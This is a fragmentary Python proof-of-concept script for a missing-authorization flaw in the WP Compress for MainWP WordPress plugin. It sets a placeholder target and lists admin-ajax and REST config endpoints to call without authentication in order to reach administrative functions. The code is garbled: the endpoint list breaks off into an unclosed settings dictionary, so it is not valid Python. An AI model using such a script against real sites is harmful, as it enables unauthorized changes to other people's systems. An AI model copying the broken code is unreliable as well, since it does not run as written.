# CVE-2025-64639 PoC - WP Compress MainWP Missing Authorization
# Target: WordPress site with WP Compress for MainWP plugin <= 6.50.17
# Type: Missing Authorization / Broken Access Control

import requests
import json

target_url = "http://target-wordpress-site.com"

# Since the vulnerability is a missing authorization check,
# we can try to access admin functions without authentication

# Example 1: Direct API call to plugin's admin function
endpoints_to_check = [
    f"{target_url}/wp-admin/admin-ajax.php",
    f"{target_url}/wp-json/wp-compress-mainwp/v1/config",

    "settings": {
        "compression_level": "maximum",
        "auto_optimize": True
